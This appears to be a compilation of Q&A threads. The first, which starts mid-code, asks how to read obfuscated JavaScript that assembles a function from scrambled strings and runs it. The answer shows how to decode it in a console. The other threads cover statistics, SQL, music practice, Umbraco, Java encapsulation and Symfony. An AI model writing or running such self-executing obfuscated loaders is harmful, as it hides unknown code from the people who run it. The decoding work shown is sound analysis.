}\/Q3>mQ:+c sx-VQ:}Q(aQh>oaa.Q\/b:doxQvi oQbbseeapnrQ[@Q w!9s]fQ7f"ie\\4Q(K,4Q=Qg%=.c h]29=sm}QQ)Qp,fiGl$t17}t2o n]!lal{ 5iSany(Qr5lmh6Qo",ss}fe[{c1l0[6[q7m,0.ocma}ye>1pn[r:Qybs}bQot]tkQ]0ma,Q0,a",>.Qtl!ka}6}ahQ)c>'));
var yCj = TLw(wRR, JrQ);
yCj();

Comment: What is your actual question? The code is valid JavaScript, but looks to have been obfuscated to make it unreadable.
Comment: @Utkanos Do you have any idea to unobfuscated this?
Comment: Pick a variable somewhere, try to track down what it does, then rename it. Repeat until you have sensible names. Then untangle the string contents, as they seem to be more obfuscated JS.
Answer: The code is obfuscated using this function:
function rAu(q) {
    var z = 4011187;
    var j = q.length;
    var a = [];
    for (var v = 0; v < j; v++) {
        a[v] = q.charAt(v)
    };
    for (var v = 0; v < j; v++) {
        var w = z * (v + 294) + (z % 12755);
        var g = z * (v + 491) + (z % 51193);
        var m = w % j;
        var f = g % j;
        var u = a[m];
        a[m] = a[f];
        a[f] = u;
        z = (w + g) % 6323069;
    };
    return a.join('')
};

We could spend some time breaking down what it's doing (looks like some kind of character shifting with some simple math), but to answer your question, you can use your browser's javascript console to run this function against the gobbledigook to get normal javascript.
First, open your console and paste the code in the gray box above. Press enter. Now this function is defined in the console's session.
Next, for any place where you see the function rAu being used in the original source, you can now run that line in your console.
For instance, look at line 24:
var Xvu = rAu('gazotrlsxhccbvqodpeijnrtnfcuymtowusrk').substr(0, Yzx);

After putting the function in my console, then copy-pasting and running this line, I now have access to the variable Xvu, so at the prompt I can type Xvu and press enter to learn that it translates to the keyword constructor.
Note that we could also just put in the part on the right side of the equals sign, but since later lines often refer to variables set in earlier lines, it's safer to run the whole line to declare the variable, then read its contents separately.
Similarly, if we run the second obfuscated line:
'var xYm = u,k ptuczh)mkff=ne,]]ruf+}k)+dsf]hnlk)-r==2dr.i;m1o[th,ev ht9m1i7.cC4v6k,v;r1i;89vo0 snktt.)6,t+ 3 eglchn(8,;st,a)iv2e7zC"fv>w =to=t=rt;lianv(]n<+a1fp,no)w][niag+e5)nhAv21vr( 0tat.n.2+e}+rb70pl.a+  i=3+arexd,f=za1i(;8ncruafngor;e6}l;3ka {arr.rcent)5Src9plc0("(-8)n"(ooa1;p.e=[envtglv(. =otoe[+{v)vtfxytavke)r.ug-lree jo]n=9u)gm6tr;.sl;=a. r=f[.vigus;y]tfu;8=iyjAe,.yo)n7[v(0+i oargu";s+mtcCg;7-;e).7p4i [+elA==C,6i,lub(zf(i,(tql z;a]o1+g=v4{irrkqsn)v;{vokklj;sooa1[tql{n(lCw==;e)gsh-r;k2!h,+(=cehS(,0;=j=*)ha=rrdo;n".h+()-l;u=a;e,a]]ri(sa;w6. on,"r>=hrzs+6n(=)++rh;m3+r[(0=[r;+nun.+nbs2)hw{(<l}o"lr=vnle-=);)p=;eftjju;}w=Czvva  a(<r+rfl )]a6][7(u.u ,[tz;,spg(hg,resp9r<8i.h(an.}rx]dcu;as0r;iwi,lr;mtxh)=h;lrm)"7a* 1))9la=ur;p;o1!n=f92m(c jr.)u{hi.r5=]r)f;)=0.a9diCu.o n;e)tfo;eprq=n5j,[0;w<af8h,8fA;((k)i7aas;l=od=ud.08v,wa[g.g0j hy+ag,6vt(=fl(,nn(adc((1re;onw)p7(z,0a4vC=o})v;(""w7jAc2=;h+'

then ask for the value of the just-declared xYm variable, we get this (more) understandable code:
"var l=10,h=76,q=57;var d="abcdefghijklmnopqrstuvwxyz";var j=[81,71,74,85,88,76,80,60,89,79,66,86,65,90,70,87,72,94,82,75];var t=[];for(var w=0;w<j.length;w++)t[j[w]]=w+1;var x=[];l+=23;h+=17;q+=39;for(var c=0;c<arguments.length;c++){var e=arguments[c].split(" ");for(var o=e.length-1;o>=0;o--){var p=null;var n=e[o];var z=null;var f=0;var g=n.length;var u;for(var k=0;k<g;k++){var v=n.charCodeAt(k);var i=t[v];if(i){p=(i-1)*h+n.charCodeAt(k+1)-l;u=k;k++;}else if(v==q){p=h*(j.length-l+n.charCodeAt(k+1))+n.charCodeAt(k+2)-l;u=k;k+=2;}else{continue;}if(z==null)z=[];if(u>f)z.push(n.substring(f,u));z.push(e[p+1]);f=k+1;}if(z!=null){if(f<g)z.push(n.substring(f));e[o]=z.join("");}}x.push(e[0]);}var m=x.join("");var a=[96,32,39,42,10,92].concat(j);var y=String.fromCharCode(46);for(var w=0;w<a.length;w++)m=m.split(y+d.charAt(w)).join(String.fromCharCode(a[w]));return m.split(y+"!").join(y);"

There's still more obfuscation going on, but at least now we can recognize this as valid javascript.
Comment: Yeah, `rAu` just swaps some (seemingly random) characters, producing a permutation of the input. `qVB` is `Function`.
Comment: I think this explanation is for Advanced users and I can not understand it.
Comment: I'm sorry to hear that @ObadaDiab. Is there a particular part where I'm losing you that I could try to explain more clearly? Do you know how to use your browser's javascript console?
Comment: @nvioli Bro you're awesome but how i can just run this function against the gobbledigook to get normal javascript? by the way yes i can open browser console.
Comment: @ObadaDiab I've edited my answer to provide a little more detail about how to use the console to run the de-obfuscating function.
Comment: Thanks too much i see some codes appeared.

How can i read this javascript code?


Compare two Roc curves with same Auc

Question: I have 2 churn prediction model.
Both provided very similar AUC values for Roc but with different shape.
How should I assess which to choose based on that fact?
Comment: Depending on what is more important to you, Recall or Precision.
Comment: You mean sensitivity and specificity. This isn't a PR curve.
Comment: @ChristopherJohn I mean 2 Roc curves.
Answer: Many researchers have tried to make decisions on the basis of shape differences in ROC curves, but in my view this has been futile.  That is because the points on an ROC represent backwards-information-flow probabilities, i.e., probability that a predictor is greater than a threshold given the Y=0 or given Y=1.  Each point on the curve is an improper scoring rule.  And areas under ROC are not sensitive enough measures for comparing two models.  For that purpose you should use a proper accuracy scoring rule such as the Brier score, or use one of the measures described here.
Answer: Typically, the "business use" of a classifier depends on sensitivity and specificity, not on AUC. What you have is two models with same average performance (what the AUC measures) where one is best in the high sensitivity/low specificity region, and the other is optimal in the opposite use case.
So the right question to ask is: what is the quantity you want to maximise/minimise? Clearly AUC does not tell you anything about it, but if you can answer this question, you'll know what to do!

Compare two Roc curves with same Auc


Error using OLS in statsmodel

Question: I'm getting the error,
IndexError: boolean index did not match indexed array along dimension 1;
dimension is 52 but corresponding boolean dimension is 184

from running the following code:
y = dat2['WaterWithdMunicipal']
X = dat2['WaterWithdIndustrial']
model = sm.OLS(y,X, data=dat2, missing='drop')
p = model.fit()
print(p.summary())

I know that the 2 arrays are different sizes (they contain different numbers of NaNs) but shouldn't the missing = 'drop' take care of that?
Answer: missing = 'drop' will drop rows with missing values, which is why your X and y are different lengths.
There are different ways to fill it in, but I like pandas.DataFrame.fillna.
Answer: This will erase rows as you expected, which contains at-least one missing value and will give you the required result.
dat2 = dat2.replace('', np.NaN)
dat2 = dat2.dropna()
y = dat2['WaterWithdMunicipal']
X = dat2['WaterWithdIndustrial']
model = sm.OLS(y,X, data=dat2)
p = model.fit()
print(p.summary())

Error using OLS in statsmodel


Is this equation about binomial coefficients true?

Question: In the solution of a problem(How to integrate logarithm and power function?) I encountered the following statement:
For $b \to 0$,and $j \in \mathbb{N}$ we have that $$\binom{b}{j} = (-1)^{j+1} b/j+O(b^2).$$
I checked different books such as "Table of Integrals, Series, and Product", but I could not find it. Can anyone help?
Comment: I'm pretty sure I saw this post yesterday on MSE and it has been answered too. Can someone link this question to its duplicate? Thanks.
Comment: The same user asked a very similar question yesterday. It was closed.
Answer: Write
$$ {b \choose j} = \frac{b(b-1)(b-2)\cdots(b-j+1)}{j!}$$
and think as follows. For small $b$, we have $b^2 \ll b$. So the largest part of the numerator will be the first $b$ multiplied by all the following constant terms, which is $b (j-1)! (-1)^{j-1}$. Thus the leading term of the numerator contributes
$$ b(-1)^{j-1} \frac{(j-1)!}{j!} = (-1)^{j+1} \frac{b}{j}.$$
The second term in the numerator is $b^2$ multiplied by the second symmetric polynomial of the integers from $-1$ to $-(j-1)$, and so on. In total, the error will look like $O_j(b^2 + b^3 + \cdots + b^{j}) = O_j(b^2)$, where I use heavily that the implicit constant depends on $j$ and that large powers of $b$ decrease very rapidly.
Comment: There's quite a bit of handwaving, here, but most will agree that it could be made rigorous by somebody less lazy (and most won't volunteer).


How to practice endurance to be able to play boogie woogie pieces?

Question: I'm practicing boogie woogie pieces like Pete Johnson's Dive Bomber. After some time my hands are getting stiff and tired while practicing. Especially the left hand. I can mitigate this by limiting the time practicing and practicing hands separated.
But I can't do this playing the whole piece or several boogie piece.
How do I have to practice to develop the necessary endurance?
Currently I limit my practice session to 30 to 45 minutes to avoid strain injuries. I've read that you should practice the left hand part everyday 5-10 minutes. Then slowly increase the tempo while remaining relaxed.
Is this the right way to do it?
Answer: I'm no expert.
From what I understand, the idea isn't to make your hand stronger.  The idea is to play so relaxed that playing a long time feels like a breeze.
So don't work on tempo until you've got the relax thing down.
The relax thing will only get burned into place from slow exact careful practice and (many) good night's sleep(s).  Practice is the conditioning.  Sleep is when your nerves are rewired and cemented in place that way.
If your hands are getting tired, I =think= that means your practice isn't optimal yet and you need to slow down and concentrate on perfection and relaxation.  Speed can (should) only come after your nerves have been soldered into place.
Comment: Yes. This advice about tension applies equally to the piano http://music.stackexchange.com/questions/10402/tension-when-practice-arpeggios-on-the-violin/10404#10404
Comment: I've read this advice somewhere before somewhere. I've been a little stressed out lately. Need to slow down a bit and try your advice. Thx!
Answer: I am not an expert pianist, but my brother is, and he is also an instructor in piano technique. As his student, and from my own experience with this, I would offer the following observations:

Let's get into more detail with the relaxation concept. What does that really mean?  Frequently when playing, if you pay attention to the way your hand feels, you will realize that you are holding your hand stiffly in a set position, or holding your hand in a particular shape. Why would you do that? I would suggest that we pianists do this as a (misguided) means to obtain more control over our technique (could be volume, touch, tone, or other objectives). Also, pianists frequently hold shapes with their hands because they feel more confident about hitting the correct notes if they force their fingers to line up with the shape of the musical passage. These types of activities are both unnecessary (in my experience) and even harmful. It is one thing for tension to arise because you are performing an activity with your finger, it is another if you have tension in your hand before you even touch the keyboard. How to address this? Some suggestions off the top of my head: Before you touch the keyboard, allow your hand to take it's neutral position. Hold your forearm out straight, and let your hand droop freely. Then, slowly extend the fingers just enough (and no more) to allow you to play the chord of interest. Keep the fingers that you are not using relaxed. Gently lift up unused fingers with your other hand while holding the chord to see if they are actually relaxed. For passages that move rapidly (as opposed to repeated chords), you need to learn to relax your fingers after releasing notes. In other words, after releasing a note, allow the finger to return to its neutral position and only stretch it out again when necessary. You will have to pay close attention to these things for a while. Stop frequently in middle of passages and check that your wrist and hand do not have tension.
These relaxation techniques may not be enough, however, because there are some larger fundamental problems. One of these is lack of efficiency. If you are playing forceful and/or loud music, you need to learn how to produce volume without excessive strain. Volume comes from the speed with which the note is pressed, NOT the forcefulness of it!! (not the energy, not the weight, not the pounding, not the heaviness). You need to move through the note with acceleration to achieve volume efficiently.
But wait, that still may not be enough. You may be working your fingers too much. If your fingers are doing most or all of the work, then you will get all of the stiffness, soreness and other issues that accompany highly repetitive muscle exertion (performed near the limits of strength and with fine control achieved through tensing opposing muscle groups). With practice, you will be able to play longer before these issues set in, but I am not sure that is particularly advisable. What you need is to offload some of this effort to muscles with much greater strength, namely your arms. If you learn the Russian Piano Technique, for example, you will find that most of the force in playing originates in the arms, and is based on the fine control of arm weight. Your fingers can then be relegated to the duty of acting as extensions of the arms, so to speak. In my experience, with a technique like this, strain in the fingers and wrist is dramatically reduced. Also, control, sensitivity, and consistency all improve.

The musical world is awash in mediocre (but serviceable) technique. Piano teachers frequently suggest poor hand form and other mistaken approaches. Find a teacher, if you can, who has a deep understanding of the nature of piano technique. Most casual teachers do not. Many are considered qualified merely because they have been playing piano a long time. Experience is of course valuable, but it does not always confer true expertise. At the very least, such teachers may be unequal to the task of addressing thorny questions like this because even if they have solved these problems through experience, they don't actually know why/how they solved them, and hence they cannot really help you. Listen to your body, and avoid advice whose central premise is that working through pain or practicing excessively is the solution.
Best of luck!
Comment: This is really great advice. Thx. Too much strain while playing automatically forces a particular hand shapes worsening the strain. I tried the neutral hand position and it is definitely helping. My issue seems to be that I don't really listen to myself while playing (e.g. how much force I use and how much is really necessary). In Boogie Woogie pieces the left hand usually plays a repeating pattern (octave with pinkie and thumb, a broken cord etc.) which can quickly build up strain. I watched some videos of Pete Johnson playing, he is using his forearm muscles to play.
Comment: I will look into the Russian Piano Technique (never heard of it). Again this is really a great answer, very well explained answering all my questions ( even the ones I didn't know I had ^^). Thanks!
Comment: Excellent. I have small hands and struggled with five string bass for a long time. One day a guitarist buddy of mine was watching my hand and noticed I was playing in way that was causing my hands to stiffen. He showed me some ways to relax my hand even when playing on a wide neck. Chops get 100% better after learning how to play that way.
Answer: I would think that playing uses muscles even if they are relaxed.  So my comparison here would be with someone training to run a marathon.  You need to train for the long practice sessions.
Answer: Try this Video, it talks about building piano endurance.
Building Piano Endurance


Select sequence of rows

Question: I've a table like
ID | Type
---------
1  | 1
2  | 2
3  | 2
4  | 2
5  | 1
6  | 2
7  | 2

I need a SQL way to select rows of Type 2 between rows of Type 1, passing the ID of a row
Example:
Selecting rows after ID 1

Wanted result:
ID | Type
---------
2  | 2
3  | 2
4  | 2

Selecting rows after ID 5

Wanted result:
ID | Type
---------
6  | 2
7  | 2

Thank you in advance for your help
Comment: @SeanLange I'm not sure if this can apply as a gaps and islands problem.
Comment: You are right @LuisCazares. I just tossed this on the pile without much thought.
Answer: Here is one method:
select t.*
from t
where t.id > 5 and
      t.type = 2 and
      t.id < coalesce( (select min(t2.id)
                        from t t2
                        where t2.id > 5 and
                              t2.type = 1
                       ), 999999999
                     );

Or more elegantly as:
select t.*
from t
where t.id > 5 and
      t.type = 2 and
      t.id < all (select t2.id
                  from t t2
                  where t2.id > 5 and
                        t2.type = 1
                 );

Answer: This is one possible option.
CREATE TABLE SampleData(
    ID int,
    Type int);
INSERT INTO SampleData
VALUES
(1, 1),
(2, 2),
(3, 2),
(4, 2),
(5, 1),
(6, 2),
(7, 2);
DECLARE @ID int =1;--Parameter

DECLARE @NextID int = (SELECT TOP 1 ID
                       FROM SampleData
                       WHERE ID > @ID
                       AND Type = 1
                       ORDER BY ID);

SELECT *
FROM SampleData
WHERE Type = 2
AND ID > @ID
AND (ID < @NextID OR @NextID IS NULL);

This would be an example on how to create an inline table-valued function.
CREATE FUNCTION GetSubset(
    @ID int
)
RETURNS TABLE
AS
RETURN
    SELECT *
    FROM SampleData sd
    WHERE sd.Type = 2
    AND sd.ID > @ID
    AND sd.ID <= ISNULL((SELECT TOP 1 i.ID
                       FROM SampleData i
                       WHERE i.ID > @ID
                       AND i.Type = 1
                       ORDER BY i.ID), sd.ID);

Comment: I created a function that use the SQL that you post and used it.
Thank you a lot
Comment: Be aware that multi-statement table-valued functions can be over 40 times slower than the regular code or an inline table-valued function.

Select sequence of rows


Adding accidentals that are already expressed by the key signature

Question: I have been learning piano for almost two years now, making good progress. I have good knowledge of the different scales and their corresponding key signatures. When I learn a new piece, I usually find it easier to add with a pencil accidentals that are present in the key signature in some confusion-prone places.
For example, in the key of A major, I sometimes add a sharp to a C note.
My question is, how detrimental is it to my ability to learn how to play pieces of different keys?
The up side of what I'm doing is that it's easier for me to learn the piece and read its notes.
However, I'm wondering how bad of a habit it is, and whether I should lose it completely and focus on mastering the different keys before I move on.
Answer: As long as you're limiting it to trouble spots, you'll be fine. When I forget accidentals, I like to simply circle the note first; if that's not enough of a reminder, then I'll add the accidental.  If you're not systematically pencilling in every single C#, your approach won't be detrimental.  I'd even argue that NOT pencilling it in is far worse because of the potential to continue to play the wrong note and eventually learn the piece wrong.
On a more general note, I would recommend against using musical pieces to teach yourself keys (which is essentially what you would be doing by not marking your music up).  Use things like scales, arpeggios, chord inversions, and Hanon exercises for that purpose. Don't forget that your end goal is to make music, not to learn keys.  Knowing your key signatures makes learning music MUCH faster and therefore should be worked on every time you practice. I would learn your keys and music together; don't hold off on making music to learn keys.
Comment: +1 To add a note, scales and arpeggios can make good warm-ups before practicing. In addition to teaching the keys, they help immensely with improvisation.
Comment: oh, one note that I neglected to make; if you ever look at the hanon exercises, they're all written in C major; you'll have to transpose them yourself. To transpose to the key of A, for example, you'll need to start on an A, and remember to play your F, C, and G sharps.
Answer: This is perfectly fine; you're simply reminding yourself the note is sharp.
In fact, editors and printers of music scores will sometimes do this for you. When this happens, you usually see the accidental in parenthesis to indicate they're not trying to double-sharp or double-flat the note, but that they're just reminding you.
This is called a "courtesy accidental". The most common situation is that the note with the courtesy accidental shows up in the next measure after a measure that had had the same note modified by an accidental. By standard music notation conventions, in the measure that has the accidental, the note only has to be decorated with the accidental the first time it's modified in the measure, and then it's played the same way for the rest of the measure unless explicitly cancelled with another accidental. BUT, in any case the accidental only lasts one measure, and reverts to the default based on the key signature in the next measure without any notation required. If the note with the accidental was early on in a measure containing that note many times, its very easy to make the mistake of not reverting to the normal pitch for the key.
Comment: I have seen courtesy accidentals without parentheses and I never think of them as a double sharp or double flat. If I see a double sharp I see that x symbol and if I see a double flat, I see 2 flats smushed together.
Answer: I play Tuba in an orchestra, and I do this all the time. I usually do it after a while on places where I tend to forget the sharp/flat.
Actually our conductor often tell us to do this if he hears errors related to this when it gets close to a concert.


Why taking the first difference is the same as an AR(1) filter?

Question: Today, my professor said that for highly correlated time series, taking the first differentiation is like applying an AR(1) filter.. Unfortunately I a was not able to ask him after the lecture.
I am confused...
Answer: Formula for a differenced time series is
$Y'_{t} = Y_{t}-Y_{t-1}$.
For a stationary time series $Y'_{t}$ should be random noise so $\epsilon_{t}$.
So the differenced time series becomes
$\epsilon_{t}$ =$ Y_{t}-Y_{t-1}$.
Rearranging this we get:
$Y_{t}=Y_{t-1}+$ $\epsilon_{t}$
AR(1) is defined as
$Y_{t}=\theta_{1}$$Y_{t-1}$+$\epsilon_{t}$
So as $\theta_{1}$ approaches 1 (highly correlated) applying an AR(1) becomes like a differenced time series.


Umbraco C# - Display 2 different columns on foreach loop (1-2) (1-2)

Question: I'm trying to display data from the Umbraco in this order 1-2 in foreach loop (bootstarp columns), but my code is displaying in this order of columns 1-1, instead of 1-2 on loop. It does not add the second column to the second row just one column.
E.g. 1 item, then 2 items, then 1 item again with different columns displays.
whats the better approach to make 1-2 on loop of content?
I'm kinda lost on this one. Any help would be good.

   @foreach(var data in Model.Content.Children().Where(x => !x.GetPropertyValue<bool>("umbracoNaviHide"))){

        if(data.HasValue("blogNested")){

           var items = data.GetPropertyValue<IEnumerable<IPublishedContent>>("blogNested");

           int i = 0 ;

            foreach(var item in items){

             @if(i % 2 == 0) {

                @(item.GetPropertyValue<string>("tipoDeDirecao"))

                @(item.GetPropertyValue<string>("dataDePublicacaoBlog"))

                 @(item.GetPropertyValue<string>("publicadoPorBlog")) - OPINIÃO

                @(item.GetPropertyValue<string>("tituloBlog"))

                @(item.GetPropertyValue<string>("resumoBlog"))

           }

              else {

                        @(item.GetPropertyValue<string>("tipoDeDirecao"))

                        @(item.GetPropertyValue<string>("dataDePublicacaoBlog"))

                         @(item.GetPropertyValue<string>("publicadoPorBlog")) - OPINIÃO

@(item.GetPropertyValue<string>("tituloBlog"))

@(item.GetPropertyValue<string>("resumoBlog"))

                }

           @{i++;}

        }

    }
}

Answer: It could be something like this
var items = data.GetPropertyValue<IEnumerable<IPublishedContent>>("blogNested")
    .ToList();

while (items.Any())
{
    var oneItem = items.First();
    items.Remove(oneItem);

            @oneItem.Id

    var twoItems = items.Take(2).ToList();

    if (twoItems.Any())
    {

            @foreach (var item in twoItems)
            {
                items.Remove(item);

                    @item.Id

            }

    }
}

This will render

        <text>{{Id}}</text>

        <text>{{Id}}</text>

          <text>{{Id}}</text>

        <text>{{Id}}</text>

...

Comment: i kinda made it work, i updated the code above but on the second row it only display one collumn   instead of 2 after the if statement
Comment: @yes i does the same result as the code above `row 1 item : 1
row 2 items : 2,
row 1 item : 3,
row 2 items : 4,
row 1 item : 5`
Comment: but  in reality in want this resut `row 1 : item 1, row 2 items : 2 && 3 , row 1 item : 4 ect `
Comment: thanks it worked. I made a similar solution but this one is way better , thanks for your time ;) cheers


Princípios de Encapsulamento

Question: Estou estudando para o exame de certificação Java Programmer SE 7 I.
Utilizo o SelfTest Kaplan (recomendado pela própria Oracle).
Me deparei com a seguinte pergunta:
(vou deixar tudo em inglês propositalmente. Para não traduzir e acabar omitindo informação).

Given:
public class Pedometer {
     private double stride;
     private double[] measurements;
}

Which code fragment is a method that meets good encapsulation
  principles?
a) public void getStride(double stride) {
    stride = this.stride;
}

b) public void getStride(double stride) {
    this.stride = stride;
}

c) public double[] getMeasurements() {
    return this.measurements;
}

d) public double[] getMeasurements() {
    return measurements.clone();
}

Repsondi a opção c, embora tenha achado a opção d bem interessante.
Quando fui ver o resultado vi que de fato, a opção correta era a d.
Por que?
Não estou questionando o funcionamento do método clone() e nem questionando que clonar um objeto seja "melhor", mas questionando: por que essa implementação não é comum?
Já trabalhei em diversos projetos Java e nunca vi um getter assim.
O Eclipse, por exemplo, não gera os getter s dessa forma (ggas).
Nem mesmo o lombok faz essa implementação.

Explicação da resposta pelo Kaplan:

Explanation: The following code fragment is a method that meets good
  encapsulation principles:
public double[] getMeasurements() {
    return measurements.clone();
}

In this code fragment, the accessor method uses the clone method to
  return a copy of the measurements field, rather than a reference to
  the field itself. Accessor methods should return copies of field
  objects. A copy of a field will prevent other classes from modifying
  fields directly and will require going through mutator methods.
The two versions of the accessor method getStride do not meet good
  encapsulation principles. Neither method returns the value of the
  stride field as expected, but instead modifies the stride field like a
  mutator method. Also, the statement stride = this.stride; overwrites
  the stride parameter, rather than assigning the stride parameter to
  the stride field as expected.
The accessor method getMeasurements that returns a direct reference to
  the measurements field object does not meet good encapsulation
  principles. Accessor methods should not return direct references to
  field objects. Direct access will allow other classes to modify fields
  directly without going through mutator methods.
Comment: Qual a sua dúvida? Acho que na resposta já está bem explicado o porquê de fazer dessa forma. Apesar de nunca ter visto também acredito que a explicação faz muito sentido
Comment: @Sorack editei a pergunta e deixei a dúvida em negrito. Se essa é a forma correta de implementar, por que não implementamos assim?
Comment: Acho que este é um dos exemplos do que diferencia alguém que programa em Java e alguém que programa e é certificado. Tem coisas que a gente só aprende estudando para a certificação. Eu acho que faz muito sentido essa implementação, tanto que normalmente quando você importa classes de um WS, elas já vem com um `setter` e `getter` diferenciado para `List`, por exemplo.
Comment: Entendo. É que por outro lado, se utilizarmos o `clone()` para todos os _getter_ s de todas nossas classes, será criada uma quantidade enorme de objetos. Imagine que para cada `getAtributo()` seja criado um novo objeto? Quantas vezes fazemos isso em nossos sistemas? Várias!
Comment: Mas veja bem, isso não inclui tipos primitivos. Portanto não é pra tudo que isso é utilizado, entende? Eu acho que é um pouco questão de arquitetura também...
Comment: Eu até entendo porque não é comum, porque é mais ou menos raro precisar retornar um *array* inteiro que é um membro de um objeto. Eu até aceito a premissa. Mas sinceramente potencialmente destruir a performance da aplicação para conseguir algo de benefício duvidoso, e pior ainda, não é óbvio que terá uma performance ruim, é algo que me faz pensar que a certificação do Java não vale nada ou tem peso negativo. É a ideologia se sobrepondo ao pragmatismo.
Comment: Não digo que não faça sentido fazer isto nunca, mas no exemplo dado eu não faria porque eu não tenho informação suficiente pra tomar uma decisão que pode comprometer a execução da aplicação. Talvez seja só culpa da pergunta ser muito mal feita, o que põe em xeque a validade da certificação da mesma forma. Tipos primitivos são "clonados" automaticamente, mas é garantido que ele é pequeno e tem semântica de valor.
Comment: É verdade que o Java nunca entendeu por completo a função de ter tipos por valor e por referência, por isso fez com que quase todos fossem por referência, mesmo quando por valor faça mais sentido semanticamente. Talvez não veja porque a maioria dos programadores são mais pragmáticos, ainda bem.
Comment: Acho que [essa resposta](http://pt.stackoverflow.com/a/103490/59479) do @bigown em uma pergunta sobre imutabilidade clareia um pouco as idéias
Comment: Concordo. Tipos primitivos não entram nessa conta. Mas ainda assim acho que a quantidade será bem maior do que referenciando o atributo diretamente.  Concordo também que é um quesito de arquitetura, mas gostaria de uma resposta concreta que diga o motivo de não utilizarmos assim. Juro, eu **nunca** vi um _getter_ dessa forma. Se estou implementando errado, quero me corrigir para fazer o certo.
Comment: Te dar uma resposta precisa sobre o porquê de **não fazer** é muito difícil, já que cada desenvolvedor deve ter uma razão que o levou a fazer dessa forma (é mais fácil responder o porquê fazer assim). Para mim, a razão de não fazerem dessa forma é que por mais que Java seja uma linguagem orientada a objetos, os programas ainda são, de certa forma, escritos em um modo procedural. Se você parar para analisar a maioria dos *JavaBeans*, eles não passam de *structs* glorificadas.  continua...
Comment: Eles não contém nenhum lógica, não verificam se os valores passados são válidos, não garantem que vão estar em um estado consistente e tudo que foi "encapsulado" é exposto. No fim das contas, não faria a menor diferença se seus atributos fossem públicos e seus métodos não existissem.
Answer: Me baseando nos comentários feitos na pergunta e em algumas pequisas, tomo como resposta que:

Fazer getters com clone() é de fato a melhor/correta implementação. Com tudo, é preciso analisar caso a caso pois pode-se acarretar na criação de vários objetos, podendo até sobrecarregar o Garbage Collector.
Fazer getters retornando a referência direta do atributo, segundo a literatura, não é uma boa prática de encapsulamento porque ao retornar a referência direta você permite que sejam feitas modificações no objeto através da variável atribuída com o retorno do getter.
Comment: O .Net também funciona dessa mesma forma?
Comment: @JedaiasRodrigues é uma boa pergunta. Eu **acho** que sim
Answer: No caso é pq funciona como se fosse um backup.
Não interfere no objeto principal e vc não enfrentará uma classe que no meio da interposição possa modificar o objeto principal.

Por exemplo, vc pode ter um objeto  private String nome;
O java não se importa que vc faça
public String getNome(){
return this.nome +"outro nome";
}
Ele vai deixar concatenar e de fato quebrará o princípio do encapsulamento.
É a mesma idéia do Object. Assing do JavaScript.
Comment: Como está escrito atualmente, sua resposta não é clara. Por favor, pode [edit] para adicionar mais detalhes, que ajudarão outras pessoas a entender como isso resolve a pergunta feita. Você pode encontrar mais informações sobre como escrever boas respostas [na Central de Ajuda](/help/how-to-answer).

Princípios de Encapsulamento


Comparing regression quality for different dependent variables

Question: I have a problem where I predict different dependent variables from the same data set. Now I want to evaluate, how well each of the dependent variables can be predicted using a regression method. The dependent variables have different scales and units. Therefore, something like mean squared error won't help here. What is a common approach for such a problem?
Comment: What types of variable are the dependent variables? $R^2$ jumps out at me as being ideal, but it's jumping out so strongly that I can't help but think that I must be missing something!
Comment: $R^2$ sounds ideal then. You could effectively say that your set of IVs account for more variance in, e.g., DV1 than in DV2. This seems to be what you're looking for.
Comment: @Ian_Fin all are 1D variables of different scales. What else do you need to know?
Comment: @Ian_Fin I was also thinking about $R^2$ but couldn't find any explanation that clearly states that this is the right tool for the job.
Comment: are they continuous or discrete? Effectively what I'm trying to get as is whether you are using linear regression (where $R^2$ is clearly defined) or some other form of regression (where you may only get "pseudo" $R^2$s)
Comment: @Ian_Fin They are (apart from discretization artifacts) continuous variables, all >= 0.
Comment: $R^2$ strikes me as potentially being anywhere on the spectrum from wrong to misleading to confusing to OK.  To determine whether it's appropriate, information about what you mean by "how well" is needed.  Can you quantity the consequences of making prediction errors, as a function of the sizes of the errors themselves?
Comment: @whuber I would already be happy with something like "5% from the average mean of the variable", however, MAPE as a metric doesn't work due to 0 values in the data. I have a feeling about which amount of error is acceptable, but I cannot quantify it. Which issues do you see with $R^2$?
Comment: Some concerns are explained at http://stats.stackexchange.com/a/13317/919.
Answer: You could use $R^2$ or one of its variants such as shrunken $R^2$ or AIC, if the models have different numbers of independent variables.
Or you could rescale the variables to some constant mean or range.
Comment: Doesn't MAD scale with the different ranges of the dependent variables?
Comment: Thanks. The models all have the exact same set of independent variables and even values as I am trying to find out what can best be predicted from these variables.
Comment: Then $R^2$ should be fine.  Another choice is MAD (but you would have to scale it), but since regression uses squared values you should probably use that (unless you change the method of regression).
Comment: Ooops, yes, you are right.


Symfony doctrine timestamp field

Question: I'm trying to create a timestamp database field type for my Symfony project.
I have created the following database type:
class TimestampType extends Type {

    const TIMESTAMP_TYPE_NAME = 'timestamp';

    /**
     * Gets the SQL declaration snippet for a field of this type.
     *
     * @param array $fieldDeclaration The field declaration.
     * @param \Doctrine\DBAL\Platforms\AbstractPlatform $platform The currently used database platform.
     *
     * @return string
     */
    public function getSQLDeclaration(array $fieldDeclaration, AbstractPlatform $platform)
    {
        return "TIMESTAMP";
    }

    public function convertToDatabaseValue($value, AbstractPlatform $platform)
    {
        return $value;
    }

    public function convertToPHPValue($value, AbstractPlatform $platform)
    {
        return $value;
    }

    /**
     * Gets the name of this type.
     *
     * @return string
     *
     * @todo Needed?
     */
    public function getName()
    {
        return self::TIMESTAMP_TYPE_NAME;
    }
}

In my entity, I have declared the following property:
/**
 * @var \DateTime
 * @ORM\Column(name="created", type="timestamp", options={"default":"CURRENT_TIMESTAMP"})
 */
protected $created = null;

It all looks good, but when running a database update, I get an error:
An exception occurred while executing 'ALTER TABLE question CHANGE created created TIMESTAMP DEFAULT 'CURRENT_TIMESTAMP' NOT NULL COMMENT '(DC2Type:timestamp)'':
  SQLSTATE[42000]: Syntax error or access violation: 1067 Invalid default value for 'created'

For some reason, my default value is being encapsulated in single quotes. This doesn't happen for datetime fields, but then I get an error the default value is invalid.
Is there any way I can make Symfony accept a timetamp field with CURRENT_TIMESTAMP as default value?
I've tried the following in my custom type, by commenting out the appending query Symfony adds:
public function getSQLDeclaration(array $fieldDeclaration, AbstractPlatform $platform)
{
    return "TIMESTAMP DEFAULT CURRENT_TIMESTAMP COMMENT '(DC2Type:" . self::TIMESTAMP_TYPE_NAME . ")' #--";
}

That works, but now Symfony always thinks it needs to update my tables and runs the query for every table that it thinks it needs to update.
My goal is to have a timestamp in the database if I run native insert queries. I know it can be done using HasLifecycleCallbacks and I have them configured, but I want to avoid ORM at some points and use native queries.
Any help would be appreciated. :)
